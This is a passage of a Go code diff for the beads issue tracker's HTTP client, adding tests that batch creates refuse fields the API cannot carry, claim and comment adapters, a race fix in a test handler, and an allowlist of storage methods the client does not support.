+} + +// TestBatchCreateRefusesEveryMemberTheWireExcludes is the refuse-not-drop gate +// for this operation, and the pin behind every one of its ledger rows. +// +// It runs three ways, and each catches a different staleness: +// +// carried -> wire the eight members the client claims to carry are +// exactly the ones apigen.BatchCreateItem publishes for +// the issue itself. +// source -> partition every populatable field of types.Issue is carried, +// ignored by the role, refused by the role, or refused by +// the wire. There is no fifth arm, so a member added +// upstream cannot arrive unclassified. +// behavior every wire-refused member really fails, citing its +// ledger row, WITHOUT dialing. +func TestBatchCreateRefusesEveryMemberTheWireExcludes(t *testing.T) { + t.Run("carried members are the wire's own", func(t *testing.T) { + published := bodyMembers(t, reflect.TypeOf(apigen.BatchCreateItem{})) + // `dependencies` is driven by the ITEM's own field, not by the issue. + delete(published, "dependencies") + + var claimed []string + for field, wireMember := range batchCreateCarriedIssueMembers { + if _, ok := reflect.TypeOf(issueops.Issue{}).FieldByName(field); !ok { + t.Errorf("the carried table names Issue.%s, which does not exist", field) + } + if !published[wireMember] { + t.Errorf("Issue.%s claims wire member %q, which BatchCreateItem does not publish", field, wireMember) + } + claimed = append(claimed, wireMember) + } + sort.Strings(claimed) + if want := sortedKeys(published); !reflect.DeepEqual(claimed, want) { + t.Errorf("the client carries\n %v\nthe wire's item publishes\n %v", claimed, want) + } + }) + + t.Run("the item container has exactly two halves", func(t *testing.T) { + // The CONTAINER above types.Issue, which no other gate can see. + // + // issueops.BatchCreateItem is not a wire body — its Issue half FLATTENS + // onto eight members of apigen.BatchCreateItem while its Dependencies + // half is one — so it cannot be a writeShape: a shape row claims one + // member per field, and the wire -> source direction would read the + // eight as undriven. The two halves are therefore classified by + // different mechanisms, and this is what says there are only two. + // + // It is not hypothetical. BatchCreateItem is "the per-item HALF of + // CreateRequest", and CreateRequest carries ParentID, + // InheritLabelsFromParent and WaitsFor; the day one of those is pulled + // down onto the item, every gate below would stay green while the client + // dropped it. + got := populatableFields(reflect.TypeOf(issueops.BatchCreateItem{})) + sort.Strings(got) + want := []string{"Dependencies", "Issue"} + if !reflect.DeepEqual(got, want) { + t.Errorf("BatchCreateItem carries %v, want %v.\n"+ + "A new member reaches no wire member and no refusal: carry it in batchCreateItem, or refuse it with a ledger row.", got, want) + } + }) + + refused := wireRefusedIssueMembers(t) + + t.Run("the partition covers every member", func(t *testing.T) { + if len(refused) == 0 { + t.Fatal("no member is wire-refused; the partition tables have swallowed the population this gate exists for") + } + for _, name := range []string{"ID", "Status", "Ephemeral", "Metadata", "Pinned"} { + if !slices.Contains(refused, name) { + t.Errorf("Issue.%s is not in the refused population; a create that dropped it is data loss", name) + } + } + for field := range roleIgnoredCreateIssueMembers { + if _, ok := reflect.TypeOf(issueops.Issue{}).FieldByName(field); !ok { + t.Errorf("the ignored table names Issue.%s, which does not exist", field) + } + if _, dup := batchCreateCarriedIssueMembers[field]; dup { + t.Errorf("Issue.%s is both carried and ignored", field) + } + } + }) + + t.Run("every refused member fails without dialing", func(t *testing.T) { + for _, name := range refused { + t.Run(name, func(t *testing.T) { + issue := &issueops.Issue{Title: "t"} + setNonZero(t, reflect.ValueOf(issue).Elem().FieldByName(name)) + + w := &stubWire{} + _, err := bulkCreator(t, w).CreateBatch(t.Context(), issueops.CreateBatchRequest{ + Actor: "planner", + Items: []issueops.BatchCreateItem{{Issue: issue}}, + }) + assertRefusedBy(t, err, "W-BatchCreateItem.Issue") + if !strings.Contains(err.Error(), name) { + t.Errorf("the refusal does not name the member: %v", err) + } + if len(w.calls) != 0 { + t.Errorf("the refused member reached the wire: %v", w.calls) + } + }) + } + }) + + t.Run("a CreatedBy naming the actor rides the server's stamp", func(t *testing.T) { + // The server stamps every item's created_by from the actor, so that one + // value is carried by the stamp; the sweep above refuses any other. + w := &stubWire{} + if _, err := bulkCreator(t, w).CreateBatch(t.Context(), issueops.CreateBatchRequest{ + Actor: "planner", + Items: []issueops.BatchCreateItem{{Issue: &issueops.Issue{Title: "t", CreatedBy: "planner"}}}, + }); err != nil { + t.Fatalf("CreateBatch with CreatedBy == Actor = %v, want it carried by the server's stamp", err) + } + if w.lastBatchCreate.Actor != "planner" { + t.Errorf("sent actor = %q, want the creator the stamp will write", w.lastBatchCreate.Actor) + } + }) + + t.Run("the role's own two are ErrValidation", func(t *testing.T) { + for name := range batchCreateRoleRefusedIssueMembers { + issue := &issueops.Issue{Title: "t"} + setNonZero(t, reflect.ValueOf(issue).Elem().FieldByName(name)) + + w := &stubWire{} + _, err := bulkCreator(t, w).CreateBatch(t.Context(), issueops.CreateBatchRequest{ + Actor: "planner", + Items: []issueops.BatchCreateItem{{Issue: issue}}, + }) + if !errors.Is(err, issueops.ErrValidation) { + t.Errorf("Issue.%s error = %v, want ErrValidation — a local backend refuses it too", name, err) + } + if len(w.calls) != 0 { + t.Errorf("Issue.%s reached the wire: %v", name, w.calls) + } + } + }) + + t.Run("the request's own two", func(t *testing.T) { + for _, tc := range []struct { + row string + request issueops.CreateBatchRequest + }{ + {"W-CreateBatchRequest.Provenance", issueops.CreateBatchRequest{Provenance: "bd: create from plan.md"}}, + {"W-CreateBatchRequest.ForceIDPrefix", issueops.CreateBatchRequest{ForceIDPrefix: true}}, + } { + req := tc.request + req.Actor = "planner" + req.Items = []issueops.BatchCreateItem{{Issue: &issueops.Issue{Title: "t"}}} + + w := &stubWire{} + _, err := bulkCreator(t, w).CreateBatch(t.Context(), req) + assertRefusedBy(t, err, tc.row) + if len(w.calls) != 0 { + t.Errorf("%s reached the wire: %v", tc.row, w.calls) + } + } + }) + + t.Run("the edge's three", func(t *testing.T) { + for _, tc := range []struct { + row string + edge issueops.CreateDependency + }{ + {"W-CreateDependency.Reverse", issueops.CreateDependency{TargetID: "bd-9", Type: types.DepBlocks, Reverse: true}}, + {"W-CreateDependency.Metadata", issueops.CreateDependency{TargetID: "bd-9", Type: types.DepBlocks, Metadata: `{"gate":"x"}`}}, + {"W-CreateDependency.ThreadID", issueops.CreateDependency{TargetID: "bd-9", Type: types.DepBlocks, ThreadID: "th-1"}}, + } { + w := &stubWire{} + _, err := bulkCreator(t, w).CreateBatch(t.Context(), issueops.CreateBatchRequest{ + Actor: "planner", + Items: []issueops.BatchCreateItem{{ + Issue: &issueops.Issue{Title: "t"}, + Dependencies: []issueops.CreateDependency{tc.edge}, + }}, + }) + assertRefusedBy(t, err, tc.row) + if len(w.calls) != 0 { + t.Errorf("%s reached the wire: %v", tc.row, w.calls) + } + } + }) +} + +// TestBatchCreateCannotNameAnItemOfItsOwnBatch is ledger row +// L-batchcreate-inbatch's pin. +// +// The role's headline capability — an edge onto an item created EARLIER in the +// same request — needs that earlier item to have named an id for itself, and +// the wire's item publishes no id member. The gap is in the SCHEMA rather than +// the handler: `target_id`'s own description names this case, so it is worth +// asserting structurally as well as behaviorally. +func TestBatchCreateCannotNameAnItemOfItsOwnBatch(t *testing.T) { + published := bodyMembers(t, reflect.TypeOf(apigen.BatchCreateItem{})) + if published["id"] { + t.Fatal("BatchCreateItem publishes an id member; an in-batch edge is expressible and L-batchcreate-inbatch retires") + } + + w := &stubWire{} + _, err := bulkCreator(t, w).CreateBatch(t.Context(), issueops.CreateBatchRequest{ + Actor: "planner", + Items: []issueops.BatchCreateItem{ + {Issue: &issueops.Issue{ID: "bd-first", Title: "the blocker"}}, + { + Issue: &issueops.Issue{Title: "the blocked"}, + Dependencies: []issueops.CreateDependency{{TargetID: "bd-first", Type: types.DepBlocks}}, + }, + }, + }) + assertRefusedBy(t, err, "W-BatchCreateItem.Issue") + if len(w.calls) != 0 { + t.Errorf("the explicit id reached the wire: %v", w.calls) + } +} + +// wireRefusedIssueMembers is the complement the gate above drives: every +// populatable field of types.Issue that is neither carried by the wire, nor +// ignored by the role, nor refused by the role in its own right. +func wireRefusedIssueMembers(t *testing.T) []string { + t.Helper() + var out []string + for _, name := range populatableFields(reflect.TypeOf(issueops.Issue{})) { + if _, ok := batchCreateCarriedIssueMembers[name]; ok { + continue + } + if _, ok := roleIgnoredCreateIssueMembers[name]; ok { + continue + } + if _, ok := batchCreateRoleRefusedIssueMembers[name]; ok { + continue + } + out = append(out, name) + } + return out +} + +// assertRefusedBy checks a refusal is the TYPED one and cites the row it +// should. A refusal that merely matched ErrRefused would pass while citing the +// wrong divergence, which is how a ledger row stops describing anything. +func assertRefusedBy(t *testing.T, err error, row string) { + t.Helper() + var refusal *encode.RefusedError + if !errors.As(err, &refusal) { + t.Fatalf("error = %v, want *encode.RefusedError citing %s", err, row) + } + if refusal.Row.ID != row { + t.Errorf("refusal cites ledger row %s, want %s", refusal.Row.ID, row) + } +} + +// assertEveryFieldPopulated fails on any zero-valued field of a projected +// result, which is how a dropped member of an unpinned wire body shows up. +// +// skip names fields with no wire-side counterpart AT ALL — not a member this +// projection dropped, but one the wire body never published in the first +// place, so a fully populated wire body can never make the field non-zero no +// matter what the projection does. Each one must be backed by its own +// divergence-ledger row on the REQUEST side (the member the server would need +// to be ASKED to produce this answer), or this exemption is just a quieter way +// to drop it. +func assertEveryFieldPopulated(t *testing.T, name string, value reflect.Value, skip ...string) { + t.Helper() + shape := value.Type() + for i := range shape.NumField() { + field := shape.Field(i) + if !field.IsExported() { + continue + } + if slices.Contains(skip, field.Name) { + continue + } + if value.Field(i).IsZero() { + t.Errorf("%s.%s is zero after projecting a fully populated wire body; the member was dropped", + name, field.Name) + } + } +} + +// setNonZero populates one field with a value distinguishable from its zero, so +// the refusal sweep can ask "was this member honored?" of any shape the struct +// grows. It fails rather than skipping on a kind it does not know: a silently +// unset field would make its subtest assert nothing. +func setNonZero(t *testing.T, v reflect.Value) { + t.Helper() + if !v.CanSet() { + t.Fatalf("cannot set a %s", v.Type()) + } + switch v.Kind() { + case reflect.String: + v.SetString("sentinel") + case reflect.Bool: + v.SetBool(true) + case reflect.Int, reflect.Int8, reflect.Int16, reflect.Int32, reflect.Int64: + v.SetInt(1) + case reflect.Pointer: + v.Set(reflect.New(v.Type().Elem())) + case reflect.Slice: + if v.Type() == reflect.TypeOf(json.RawMessage(nil)) { + v.Set(reflect.ValueOf(json.RawMessage(`{"k":"v"}`))) + return + } + v.Set(reflect.MakeSlice(v.Type(), 1, 1)) + case reflect.Struct: + if v.Type() == reflect.TypeOf(time.Time{}) { + v.Set(reflect.ValueOf(time.Date(2026, 3, 1, 12, 0, 0, 0, time.UTC))) + return + } + t.Fatalf("no non-zero value for struct %s", v.Type()) + default: + t.Fatalf("no non-zero value for kind %s (%s)", v.Kind(), v.Type()) + } +} diff --git a/internal/httpclient/ca_test.go b/internal/httpclient/ca_test.go index 0bfcdcbb5..e63d2fefb 100644 --- a/internal/httpclient/ca_test.go +++ b/internal/httpclient/ca_test.go @@ -205,9 +205,14 @@ func forceIPv4Loopback(t *testing.T, rt http.RoundTripper) { // caContextHandler answers the handshake like contextServer, and additionally // records the SNI name and Host header the request actually carried, so a test -// can prove TransportFor never overrides either. +// can prove TransportFor never overrides either. Some callers (e.g. the +// MaxIdleConnsPerHost burst test) drive this handler with several concurrent +// requests, so every field is behind mu: both the writes in handler() and the +// reads in the accessor methods below. type caContextHandler struct { - body apigen.ContextResponse + body apigen.ContextResponse + + mu sync.Mutex sni string host string requestSeen bool @@ -215,16 +220,39 @@ type caContextHandler struct { func (h *caContextHandler) handler() http.HandlerFunc { return func(w http.ResponseWriter, r *http.Request) { + h.mu.Lock() h.requestSeen = true h.host = r.Host if r.TLS != nil { h.sni = r.TLS.ServerName } + h.mu.Unlock() w.Header().Set("Content-Type", "application/json") _ = json.NewEncoder(w).Encode(h.body) } } +// sawRequest reports whether the handler has observed at least one request. +func (h *caContextHandler) sawRequest() bool { + h.mu.Lock() + defer h.mu.Unlock() + return h.requestSeen +} + +// seenHost returns the Host header the most recent request carried. +func (h *caContextHandler) seenHost() string { + h.mu.Lock() + defer h.mu.Unlock() + return h.host +} + +// seenSNI returns the TLS ServerName the most recent request carried. +func (h *caContextHandler) seenSNI() string { + h.mu.Lock() + defer h.mu.Unlock() + return h.sni +} + func TestTransportForNoCAConfiguredIsUnchanged(t *testing.T) { clearCAEnvironment(t) rt, err := TransportFor(Target{}) diff --git a/internal/httpclient/claimer.go b/internal/httpclient/claimer.go new file mode 100644 index 000000000..31479729e --- /dev/null +++ b/internal/httpclient/claimer.go @@ -0,0 +1,48 @@ +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/claimer.go@49d1df2f6) +// to OSS beads under the MIT license. +package httpclient + +import ( + "context" + + "github.com/steveyegge/beads/internal/httpapi/apigen" + "github.com/steveyegge/beads/issueops" +) + +// httpClaimer serves issueops.Claimer from the claimIssue operation (design D8 +// row 3). The role is a single guarded compare-and-set and the wire operation is +// the same one, so this is the thinnest mapping on the whole client: a body +// carrying the actor, and a response whose already_claimed flag is the role's +// Changed inverted. +type httpClaimer struct { + store *Store + wire WriteWire +} + +var _ issueops.Claimer = (*httpClaimer)(nil) + +// Claim dials claimIssue. +// +// The 409 vocabulary reaches the caller as *issueops.ClaimConflictError with the +// holder and status the refusing transaction read, reconstructed from the +// problem body's assignee/issue_status extension members — the wire's mapper +// owns that, and the issue id it needs comes from the request rather than the +// response because the server does not echo what the caller already said. +func (c *httpClaimer) Claim(ctx context.Context, req issueops.ClaimRequest) (issueops.ClaimResult, error) { + if err := requireActor(req.Actor); err != nil { + return issueops.ClaimResult{}, err + } + if err := requireID("issue id", req.IssueID); err != nil { + return issueops.ClaimResult{}, err + } + + res, err := c.wire.ClaimIssue(ctx, req.IssueID, apigen.ClaimRequest{Actor: req.Actor}) + if err != nil { + return issueops.ClaimResult{}, err + } + // The role's snapshot is the bare issue ROW — no labels, no edges, no + // comments — which is exactly what the wire's ClaimResponse carries, so + // there is nothing to hydrate and nothing to strip. + issue := res.Issue + return issueops.ClaimResult{Issue: &issue, Changed: !res.AlreadyClaimed}, nil +} diff --git a/internal/httpclient/commenter.go b/internal/httpclient/commenter.go new file mode 100644 index 000000000..9bff9a412 --- /dev/null +++ b/internal/httpclient/commenter.go @@ -0,0 +1,110 @@ +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/commenter.go@49d1df2f6) +// to OSS beads under the MIT license. +package httpclient + +import ( + "context" + "fmt" + + "github.com/steveyegge/beads/internal/httpapi/apigen" + storageops "github.com/steveyegge/beads/internal/storage/issueops" + "github.com/steveyegge/beads/issueops" +) + +// httpCommenter is issueops.Commenter over addComment (POST +// /v0/beads/issues/{id}/comments) — the TWENTY-FOURTH wire-backed accessor, and +// the only write on this surface whose path names a SUB-RESOURCE. +// +// THE MAPPING IS TOTAL and unusually small: three request members, of which one +// is the path, and one result member. There is no ledger row for this operation +// and no member refuses. +// +// THE AUTHOR IS CALLER-ASSERTED, and it is spelled `author` rather than `actor` +// because it is not the same thing. Every other write here names the principal a +// mutation is ATTRIBUTED to; this value is part of what the write STORED — it +// lands in the row and is read back by everyone who sees the thread. It is also +// not the authenticated principal even where a bearer is required, because the +// token a deployment configures is shared and admits a client to the whole +// surface. So THIS CLIENT sends it verbatim: no default, no fallback to a +// configured actor, no normalization. +// +// THE SERVER'S RULE IS A DIFFERENT MATTER, and the difference is ledgered rather +// than described away (L-comment-author). The operation applies the `actor` +// rules to this member — trim, then refuse a control rune — and passes the +// TRIMMED value on, while the role itself only checks the field is non-empty and +// stores what it was given. So a padded author is stored trimmed here and +// verbatim on a local leg, and one carrying a C1 introducer is refused here and +// stored there. Anticipating either half on this side would be worse than the +// divergence: trimming would silently rewrite a caller's request, and refusing +// would be a second copy of a server rule that is free to move. The value goes +// as it was written and the server's answer comes back unchanged, which is what +// keeps the difference visible. +// +// THE TEXT IS SHAPE-ONLY, and that is the column rather than an omission. It is +// a LONGTEXT the caller may fill with a stack trace or a diff, so there is no +// length bound to apply and no control rule — a comment is written in newlines. +// The only cap is the 1 MiB every body on this surface shares, and BOTH PLANES +// agree about that number only because migration 0065 widened +// `wisp_comments.text` from TEXT's 65535 bytes to match the durable column. That +// is worth a sentence here rather than only upstream: this operation resolves +// its anchor across both planes, so before 0065 the bound a caller was subject +// to depended on which plane its id happened to name, and nothing above the +// storage seam could have told it which. +// +// A COMMENT ON A WISP LANDS AND LEAVES NO DURABLE TRACE. The wisp tables are +// dolt-ignored, so an ephemeral thread records no history entry — none, not one +// — while the comment itself is stored and reads back. Nothing here decides +// that: the role resolves the plane inside the transaction it writes in, which +// is what stops a comment landing on a row an earlier read saw. +// +// THERE IS NO READ HERE, and its absence is the role's ruling rather than a +// wave's backlog. A comment page is a paging question with a cursor of its own, +// the wire publishes no such operation, and the thread is read through +// `GET /v0/beads/issues/{id}?include_comments=true`. A client that invented one +// — a filtered getIssue, a fan-out — would be answering a question no role asked +// and no server serves. +type httpCommenter struct { + store *Store + wire WriteWire +} + +var _ issueops.Commenter = (*httpCommenter)(nil) + +// AddComment appends one comment and answers the row as stored. +func (c *httpCommenter) AddComment(ctx context.Context, req issueops.AddCommentRequest) (issueops.AddCommentResult, error) { + // The role's own request rules, taken from the one place every Commenter + // shares them rather than restated here — readyclaimer.go's lesson, applied + // before it can be learned twice. All three refusals are ErrValidation and + // all three are raised BEFORE the dial: an empty author and an empty id would + // otherwise cost a round trip to be told what the contract already says, and + // a blank body would be refused by the server with the role's own sentence + // anyway, which is the same sentence this raises. + if err := storageops.ValidateAddCommentRequest(req); err != nil { + return issueops.AddCommentResult{}, err + } + + comment, err := c.wire.AddComment(ctx, req.IssueID, apigen.AddCommentRequest{ + Author: req.Author, + Text: req.Text, + }) + if err != nil { + return issueops.AddCommentResult{}, err + } + // PRESENCE IS CHECKED RATHER THAN TRUSTED, for decodeCountGroups' reason and + // with a sharper consequence: the result's whole payload is this pointer, and + // the role promises the stored id and the stored created_at — the value a + // caller may use directly as a comment-page cursor. A nil here would be a + // server that answered 200 with no body at all, and returning it would move + // the panic to whichever caller dereferenced it first. + if comment == nil { + return issueops.AddCommentResult{}, fmt.Errorf( + "bd serve answered an appended comment with no body: the operation returns the stored row, " + + "and an absent one carries neither the id the insert minted nor the created_at a caller pages from") + } + // A COPY, so nothing downstream holds a window onto a decoded response body. + // apigen.Comment IS types.Comment — a Go type alias the document pins — so + // this is an assignment rather than a conversion, and there is no second wire + // struct to fall out of step. + stored := *comment + return issueops.AddCommentResult{Comment: &stored}, nil +} diff --git a/internal/httpclient/completeness_test.go b/internal/httpclient/completeness_test.go new file mode 100644 index 000000000..36ee05cd3 --- /dev/null +++ b/internal/httpclient/completeness_test.go @@ -0,0 +1,552 @@ +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/completeness_test.go@49d1df2f6) +// to OSS beads under the MIT license. +package httpclient + +import ( + "errors" + "os" + "reflect" + "regexp" + "slices" + "sort" + "testing" + + "github.com/steveyegge/beads/backend/conformance" + "github.com/steveyegge/beads/internal/httpapi/apigen" + "github.com/steveyegge/beads/internal/storage" +) + +// legitimatelyUnsupported is the EXPLICIT denominator of every +// storage.DoltStorage method the http client deliberately does not implement — +// design D8's unsupported-allowlist v1 — each with a reason. +// +// TestInterfaceCompleteness asserts the generated shell (unsupported_gen.go) +// contains EXACTLY these methods, no more and no less, so a method cannot +// silently fall into the refusing base; TestUnsupportedContract asserts each one +// really returns the typed sentinel when called. Together they close the loop. +// +// The rule for adding an entry: a method belongs here when no v0 operation can +// answer it. A method that a wire operation CAN answer belongs in accessors.go +// or offrole.go instead, refusing until its bead lands — putting it here would +// bake a refusal into the structural gate and let the flip land silently. +var legitimatelyUnsupported = map[string]string{ + // Version control and history. The commit graph belongs to the server's own + // storage; a client of an HTTP API has no working set to branch or diff, and + // v0 publishes no history surface. Note the commit FAMILY is a no-op rather + // than unsupported (D3) and is deliberately absent from this map. + "AsOf": "VC: point-in-time read", + "Branch": "VC: Dolt branch", + "Checkout": "VC: Dolt checkout", + "CommitExists": "VC: commit graph", + "CurrentBranch": "VC: Dolt branch", + "DeleteBranch": "VC: Dolt branch", + "Diff": "VC: Dolt diff", + "GetConflicts": "VC: merge conflicts", + "GetCurrentCommit": "VC: commit graph", + "History": "history: issue revision log", + "ListBranches": "VC: Dolt branch", + "Log": "history: commit log", + "Merge": "VC: Dolt merge", + "ResolveConflicts": "VC: merge conflicts", + "Status": "VC: working-set status", + + // Remotes and sync. `bd serve` is the sync boundary: the server pushes and + // pulls its own database, and a client that did so too would be a second + // writer nobody designed. + "AddRemote": "remote", + "AddRemoteWithRef": "remote", + "Fetch": "remote", + "ForcePush": "remote", + "HasRemote": "remote", + "ListRemotes": "remote", + "Pull": "remote", + "PullFrom": "remote", + "PullRemote": "remote", + "Push": "remote", + "PushRemote": "remote", + "PushTo": "remote", + "RemoveRemote": "remote", + "Sync": "sync: server-side concern", + "SyncStatus": "sync: server-side concern", + + // Federation, compaction, provenance and the merge slot: whole subsystems + // with no v0 route table entry. + "AddFederationPeer": "federation", + "GetFederationPeer": "federation", + "ListFederationPeers": "federation", + "RemoveFederationPeer": "federation", + "ApplyCompaction": "compaction", + "CheckEligibility": "compaction", + "GetCompactionSnapshot": "compaction", + "GetTier1Candidates": "compaction", + "GetTier2Candidates": "compaction", + "RestoreFromSnapshot": "compaction", + "SnapshotIssue": "compaction", + "GetProvenanceByRef": "provenance log", + "GetProvenanceEvents": "provenance log", + "RecordProvenanceEvent": "provenance log", + "MergeSlotAcquire": "merge slot", + "MergeSlotCheck": "merge slot", + "MergeSlotCreate": "merge slot", + "MergeSlotRelease": "merge slot", + + // The THREE role accessors of D8's matrix with no wire operation behind + // them. The other twenty-five are wire-backed and live in accessors.go. + // BatchCloser left this list with the `bd close` decision: the wire has no + // closeBatch, but the single-item no-ClaimNext shape composes onto + // closeIssue, and the CLI's close front door routes every id through this + // role. + // + // Releaser, Commenter and IssueRelations left it with client wave 2b + // (ga-f352s), and all three left for the same reason the rule at the top + // states: the wire publishes releaseIssue (#5507), addComment (#5594) and + // listRelatedIssues (#5540), so "no v0 operation can answer it" stopped + // being true of any of them. What is left here is the residue that is not + // waiting on anything — three acts a client of an HTTP API cannot perform at + // all, because each is about a database this process does not have. + "Bootstrapper": "issue role: workspace bootstrap is a server-side act", + "InitVerifier": "issue role: init verification is a server-side act", + "VersionReconciler": "issue role: clone-local version markers, meaningless for a client", + + // Raw issue writes. The served writes reach the wire through their roles + // (Lifecycle, BatchCreator, DependencyEditor, Sweeper, Deleter); these legacy + // front doors have no operation of their own and must not be silently + // re-routed, since their request shapes carry members the wire excludes. + // The two raw comment appends. The wire HAS addComment (#5594) and the + // COMMENTER ROLE now dials it (commenter.go); these stay unwired for + // CreateIssue's rule, and the difference between them is worth keeping: one + // of the two cannot express the operation's answer at all. + "AddComment": "write: raw comment append returning NOTHING; addComment answers with the stored row — the id the insert minted and created_at at the column's precision — and a front door that discarded it would make the role's cursor promise unobservable (role: Commenter)", + "AddIssueComment": "write: raw comment append (role: Commenter). It has the same shape as the role's request and the same answer, which is exactly why re-routing it would be a second spelling of one write — with no actor rule and no plane story of its own", + "AddDependency": "write: raw edge add (role: DependencyEditor)", + "AddDependencyWithOptions": "write: raw edge add (role: DependencyEditor)", + "AddLabel": "write: raw incremental label add (role: Lifecycle, via IssuePatch.Labels.Add). The wire CARRIES it — upstream #5510 published add_labels and client wave ga-jpywb emits it — so this stays on the allowlist for CreateIssue's rule and not for a wire gap: re-routing it would put a second spelling of the edit beside the role's, with no actor, no guard and no ordered-edit algebra", + "ClaimIssue": "write: raw claim (role: Claimer)", + "ClaimReadyIssue": "write: raw ready-claim (role: ReadyClaimer)", + "CloseIssueChecked": "write: raw checked close (role: Lifecycle)", + "CreateIssue": "write: raw create. The wire has createIssue (upstream #5483) and the LIFECYCLE ROLE now dials it (lifecycle.go, D8 row 16); this raw front door stays unwired deliberately, because re-routing it would put a second spelling of the create beside the role's — with a different request shape, since this one takes a bare *types.Issue and no edges", + "CreateIssues": "write: raw batch create; createIssue is single-item and batchCreateIssues is the batch operation, both of which the roles own (role: BatchCreator)", + "CreateIssuesWithFullOptions": "write: raw batch create with options the wire's item body does not publish (role: BatchCreator; see W-BatchCreateItem.Issue)", + "DeleteIssue": "write: raw delete (role: Deleter)", + "DeleteIssues": "write: raw delete (role: Deleter)", + "DeleteIssuesBySourceRepo": "write: no source-repo delete operation", + "ImportIssueComment": "write: no comment-IMPORT operation. It is not AddIssueComment with a flag — it takes the created_at the comment is to be STORED with, and addComment publishes no such member deliberately (a stored time the caller supplied makes the row disagree with the entry that records it, which is createIssue's own argument about the creation stamp)", + "PromoteFromEphemeral": "write: no wisp-promotion operation", + "RemoveDependency": "write: raw edge remove (role: DependencyEditor)", + "RemoveDependencyWithOptions": "write: raw edge remove (role: DependencyEditor)", + "RemoveLabel": "write: raw incremental label remove (role: Lifecycle, via IssuePatch.Labels.Remove); AddLabel's reason exactly, on the other half of the same published pair", + "RenameLabel": "write: no wire operation renames a label across every carrier; v0 publishes no bulk label-rename route, and IssuePatch.Labels is a per-issue add/remove pair with no rename-and-report-merges shape", + "ReopenIssue": "write: raw reopen (role: Lifecycle)", + "UpdateIssue": "write: raw update (role: Lifecycle)", + "UpdateIssueChecked": "write: raw checked update (role: Lifecycle)", + "UpdateIssueID": "write: no id-rewrite operation", + "UpdateIssueType": "write: raw type rewrite (role: Lifecycle, via IssuePatch.IssueType). It said \"no type-rewrite operation\", and the wire has one: updateIssue publishes patch.issue_type (internal/httpapi/update.go) and this client EMITS it (lifecycle.go). So this is AddLabel's reason and not a wire gap — a raw front door beside a served role, kept unwired because re-routing it would put a second spelling of the edit beside the role's, with no actor and none of the patch algebra", + + // Leases. ClaimRequest carries only an actor; there is no lease vocabulary + // on the wire at all. + // + // THE TWO UNCLAIMS ARE NO LONGER PART OF THAT SENTENCE, and the split + // matters because it is the reason `bd unclaim` still refuses. The wire + // publishes releaseIssue (#5507) and the RELEASER ROLE dials it + // (releaser.go), including the compare-and-set on the holder that is exactly + // UnclaimIssueIfAssignee's question — so these are ordinary raw front doors + // now, kept unwired for CreateIssue's rule rather than for the absence of an + // operation. What has not moved is the LEASE row the release deletes: the + // role owns that as part of its post-state, and neither of these front doors + // can say anything about it, which is why the heartbeat and the reaper above + // keep the original reason. + "HeartbeatIssue": "lease: no wire vocabulary", + "ReclaimExpiredLeases": "lease: no wire vocabulary", + "UnclaimIssue": "write: raw release, force flag and all (role: Releaser). Re-routing it would put a second spelling of the transition beside the role's, with a bare error where the role answers the post-state row and its reminted version", + "UnclaimIssueIfAssignee": "write: raw conditional release (role: Releaser, via ReleaseRequest.ExpectedAssignee). Its expectation is a STRING where the role's is a POINTER, so it cannot express the one distinction the role's guard is built on — absent means 'do not check' and empty is a refusal, and this signature spells both as \"\"", + + // Config and metadata writes. + // + // SETTINGS ARE NO LONGER READ-ONLY over v0 — #5596 published both write + // operations and client wave ga-jpywb dials them — so these two entries keep + // their place for the reason UnclaimIssue and MergeMetadata keep theirs + // rather than for the reason they were written: they are the RAW front doors + // beside a served role. Re-routing them here would put a second spelling of + // the edit beside issueops.WorkspaceConfig's, with a different signature and + // none of the role's guards — SetConfig takes any key, the protected one + // included, and DeleteConfig reports nothing about what it removed. + // + // The two metadata entries are about DIFFERENT PLANES, which is why they no + // longer share a reason. SetMetadata writes the WORKSPACE's own key-value + // table — import hashes, `_project_id` — and no v0 operation touches it at + // all; the compare-and-set upstream added (#5473) is per-ISSUE metadata and + // answers a different question entirely. + // + // MergeMetadata is a raw per-issue write, and the wire CAN express what it + // does now that client wave ga-7i6by carries `patch.metadata`: a merge is + // MetadataPatch.Merge through Lifecycle.Update. It stays on the allowlist + // for the reason every other raw front door does — re-routing it here would + // put a second spelling of the edit beside the role's, with a different + // request shape and no actor rule — not because the wire cannot carry it. + "DeleteConfig": "write: raw settings remove (role: WorkspaceConfig, via UnsetSetting)", + "SetConfig": "write: raw settings write, protected key and all (role: WorkspaceConfig, via SetSetting). Its signature carries no guard and no per-key rule, so re-routing it would be a second door onto the plane that walks past the one issueops.SettingKeyIssuePrefix refusal exists for", + "SetMetadata": "write: the WORKSPACE metadata table has no wire operation at all; compareAndSetMetadata is the per-ISSUE plane (role: MetadataCAS)", + "MergeMetadata": "write: raw per-issue metadata merge (role: Lifecycle, via IssuePatch.Metadata.Merge)", + + // Repo mtime and merge slots: clone-local bookkeeping for a local database. + "ClearRepoMtime": "clone-local bookkeeping", + "GetRepoMtime": "clone-local bookkeeping", + "SetRepoMtime": "clone-local bookkeeping", + "SlotClear": "clone-local bookkeeping", + "SlotGet": "clone-local bookkeeping", + "SlotSet": "clone-local bookkeeping", + + // Counts. `getStats` answers the aggregate probes, and the two counts + // operations the wave-2 wire published are answered by ROLES — Counter over + // issues.count and GraphCounter over dependencies.count. These are the raw + // front doors beside them, and the split is no longer "no operation" for + // most of the list: + // + // - the four edge counts and the two issue counts stay unwired for the + // rule every other raw front door here follows (CreateIssue's, above): + // re-routing them would put a second spelling of the question beside the + // role's, with a WIDER request shape. CountIssues takes a free-text + // query and a whole types.IssueFilter — SkipWisps, IsTemplate, Pinned, + // ExcludeTypes and twenty more members issueops.CountRequest deliberately + // does not have — so a re-route would silently drop them, which is the + // one thing a count must never do; + // - CountDependentRecords is different and genuinely inexpressible: it is + // a DISTINCT count of edge rows, and the role's count is a SUM over the + // two dependency planes. issueops.AnchorEdgeCount.Count says so and says + // the two differ exactly where one row id lives in both tables; + // - CountEvents and CountIssueComments still have no operation at all. + "CountDependencies": "count: raw per-issue dependency count (role: GraphCounter, direction out)", + "CountDependentRecords": "count: a DISTINCT count of edge rows; the wire's count is a SUM across the two dependency planes and the two differ on a cross-table id collision", + "CountDependents": "count: raw per-issue dependent count (role: GraphCounter, direction in)", + "CountDependentsByStatus": "count: raw per-issue dependent count narrowed by status (role: GraphCounter, direction in plus Status)", + "CountEvents": "count: no counts operation", + "CountIssueComments": "count: no counts operation", + "CountIssues": "count: raw issue count taking a free-text query and a 